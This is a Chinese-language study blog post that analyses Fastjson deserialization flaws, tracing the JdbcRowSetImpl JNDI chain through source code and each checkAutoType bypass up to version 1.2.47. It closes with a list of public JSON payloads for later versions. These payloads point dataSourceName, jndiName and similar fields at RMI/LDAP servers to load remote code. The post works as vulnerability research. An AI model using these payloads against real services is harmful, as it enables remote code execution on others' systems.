0x00、前言
这个内容网上学习文章很多,跟着走一遍理下原理思路
0x01、JdbcRowSetImpl利用链分析
一、知识前提
前置知识(JNDI、RMI、LDAP)已经在这篇学习了
Fastjson的基础知识在这篇学习了
其它没什么,先看JdbcRowSetImpl
利用链的Payload
public class Payload_jdbc { |
json参数为三个:com.sun.rowset.JdbcRowSetImpl类名
、dataSourceName
、autoCommit
影响范围:
1、fastjson <= 1.2.24
2、jdk版本:
JNDI-RMI:
JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true。
JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false。
JNDI-LDAP:
2018年10月,Java修复了该利用点,对LDAP Reference远程工厂类的加载增加了限制
范围:Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,需要人工调整至true
该链使用场景:
需要出网、通过JNDI远程加载RMI/LDAP,版本要求同RMI/LDAP限制版本一样,高版本会默认关闭远程地址,只有手动添加信任地址进行调用。
二、JdbcRowSetImpl本身
JdbcRowSetImpl链相比较其他链还是比较好理解的
触发点在setAutoCommit
方法
这里有个conn
变量,用来获取对象连接,默认值为null
未赋值,会进入到else
代码段中,调用connect()
方法
connect
方法的本意为获取jdbc
连接,其中调用了JNDI远程调用地址
Context ctx = new InitialContext(); |
调用地址通过getDataSourceName()
获取,因此如果DataSourceName
变量可控,传入DataSourceName
为恶意远程jndi服务,进行lookup
调用时即可触发漏洞。
如下效果:
JdbcRowSetImpl jr=new JdbcRowSetImpl(); |
三、Fastjson-JdbcRowSetImpl
前面提到,只要传入DataSourceName
名,同时调用setAutoCommit
方法即可触发漏洞
回顾fastjson大体执行步骤:
JSON对象解析 |
这里主要分析DataSourceName
的赋值以及setAutoCommit
方法的调用,因为前大半段获取序列化器的流程在这篇分析分析过了,流程一样,就分析一下后面触发的地方
跟进到模糊查询方法属性步骤,循环查询方法属性,先是匹配查询dataSourceName
字段
通过getFieldDeserializer
方法获取属性的解析器
在sortedFieldDeserializers
数组中找到字段解析器
解析器找到后,对属性进行解析
调用属性值解析器对属性值进行解析(获取字段的值)
获取到值过后,调用setValue
方法进行赋值
通过反射获取方法名,再调用执行完成赋值
dataSourceName
字段处理就完成,AutoCommit
方法跟上面一样,就不重复写过程了
invoke
调用setAutoCommit
方法,触发漏洞
0x02、fastjson高版本绕过分析
1.2.25-1.2.41
1.2.24-41,更新情况:
- autotype默认关闭
- 添加 checkAutoType 方法进行黑白名单处理加载类
版本更新至1.2.25-1.2.41区间中,再次运行会提示autotype
不支持
autotype
也是默认关闭的,需要手动开启
然后经过白名单(白名单列表为空)循环判断,再经过黑名单循环判断,白名单会直接加载类,黑名单匹配会直接抛出异常
黑名单的类:
如果不是黑名单的类会到类加载步骤
其中会经过两个处理:
- 开头为[符号,会将其删除然后再进行类加载
- 开头为L,结尾为;分号,会将其删除然后在进行类加载
绕过思路就可以将类进行上述两种方法构造:
- “@type”:”Lcom.sun.rowset.JdbcRowSetImpl;”
- “@type”:”[com.sun.rowset.JdbcRowSetImpl”
然后手动开启autotype即可,得到payload:
public static void main(String[] args) throws Exception { |
但实际使用[为开头的方式会报错,遇到parseArray
的时候会抛出异常
提示在位置42处缺少[号,及第一个逗号的位置
添加[符号String payload="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"[, \"dataSourceName\":\"rmi://127.0.0.1:1099/RMIObject\", \"autoCommit\":true}\";";
运行提示44位置缺少{符号,继续添加
String payload="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"[{, \"dataSourceName\":\"rmi://127.0.0.1:1099/RMIObject\", \"autoCommit\":true}\";";
执行成功
使用L开头;结尾的形式能正常绕过
得到最后的payload:
public static void main(String[] args) throws Exception { |
1.2.25-1.2.42
修复情况:
- 在checkautotype中新增了对首字母L的处理,匹配到L开头;结尾进行一层首尾字符过滤去除
- 对黑白名单类进行hash取值
1.2.42版本在checkautotype方法中,先过滤了一层首尾符号
然后通过hash去设置黑白名单,目的为了不让攻击者知道黑名单是什么明文内容
hash碰撞脚本:https://github.com/LeadroyaL/fastjson-blacklist
若不是黑名单中的类,进入类加载,这里跟原来一样,会再次过滤首尾符号L/;,其他没有变动
可通过加两层L/;即可绕过42版本的修复,[符号的绕过方式仍然可行,得到payload:
public static void main(String[] args) throws Exception { |
1.2.25-1.2.43
修复方式:
- 新增加对LL的判断。
如果首字母为LL开头直接抛出异常,是L开头则去掉首尾符号
对L和LL都进行处理过后,L的绕过方法就走不通了,但是[方法还可以继续使用没有被过滤
public static void main(String[] args) throws Exception { |
1.2.25-1.2.44
修复方式:
- 新增对[的判断
如果匹配到首字符是[符号,则直接抛出异常,因此45版本中直接使用L和[的两条攻击方式都失效了
1.2.25-1.2.45
绕过方式依赖第三方组件mybatis,版本在3.0.0<3.5.0之间,该组件在当前版本不在黑名单当中
payload
public static void main(String[] args) throws Exception { |
调用类为org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
,方法名为properties
,参数为data_source
这里比较好理解,fastjson通过setter
器获取properties
参数的setproperties
方法,通过反射进行执行,这里的分析跟上面的JDBC链分析是一样的就不重复分析了
调用setproperties
方法,该方法调用了JNDI,JNDI远程lookup
地址为properties.getProperty(DATA_SOURCE)
,也就是传入的data_source
的值,触发漏洞
后面版本就将该类加到了黑名单当中
1.2.25-1.2.47通杀绕过
payload:
{ |
分析这里直接到关键步骤吧,前面流程跟上面分析的一样,直接循环调用到parseObject
方法解析对象
然后会调用checkautotype
进行黑白名单处理
由于未开启autoypesupport
,因此不会进入黑白名单匹配检测
由于Map
为空,因此在map
中找不到该typename
,然后从hashmap
中找到
获取clazz
和反序列化器deserializer
后,进行反序列化deserialze
操作
进入MiscCodec.deserialze
方法,对解析对象进行解析获取值
再将值赋值给strVal
然后判断clazz
类型,进行不同处理,当clazz
为Class
类时,会进行类加载操作
跟进,调用缓存变量为true
的loadClass
方法
经过一些过滤判断,最后将clazz
放入map
缓存中
“a”主体的代码段的作用就在这里,利用java.lang.Class类绕过黑白名单然后将恶意代码类写入map缓存中
然后再次循环解析对象到”b”这里,跟进parseObject
方法
再次走到黑白名单过滤方法
依旧,直接跳过黑白名单判断,从mapping
缓存中读取类对象
由于”a”主体代码执行的时候将恶意类put
进了mapping
缓存中,因此这个读取能读取到恶意类的clazz
,绕过了黑白名单检测
获取到clazz
后,进行正式反序列化操作,后续的操作就不再分析了,跟上面分析jdbc
的执行一样的流程
1.2.48版本过后修复把cache缓存标识改为了false,无法再使用该payload
大于48版本后面的基本上就是绕过黑名单限制的类,就不做分析了,跟前面类似,就记下网上公开的payload吧
1.2.50-1.2.59
payload:
使用前提:开启autotype,
> {"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"} |
1.2.50-1.2.60
payload:
无需开启autotype
> {"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"} |
1.2.50-1.2.61
payload:
> {"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"} |
1.2.24-1.2.62
payload:
> {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"} |
1.2.24-1.2.66
需要开启autotype
payload:
> {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"} |
1.2.24-1.2.67
需要开启autotype
payload:
> {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}} |
1.2.24-1.2.68
无需开启AutoType
> {"@type":"java.lang.AutoCloseable","@type":"vul.VulAutoCloseable","cmd":"calc"} |
1.2.24-1.2.80
可以参考su18师傅的payload和Y4er师傅的分析文章
检测payload
{"@type":"java.net.InetAddress","val":"dnslog.cn"} |
0x03、总结
在48版本开始疯狂的bypass黑名单,大体跟完fastjson的修复感觉就是掉一个捡一个,还是学到很多,其中还有些涉及到不出网的利用还没分析学习,后面再跟
0x04、参考链接
https://drun1baby.github.io/2022/08/08/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8703-Fastjson%E5%90%84%E7%89%88%E6%9C%AC%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/
https://www.yuque.com/tianxiadamutou/zcfd4v/xehnw7
https://cloud.tencent.com/developer/article/1957185
https://xie.infoq.cn/article/2e75402d042279ad0845faba9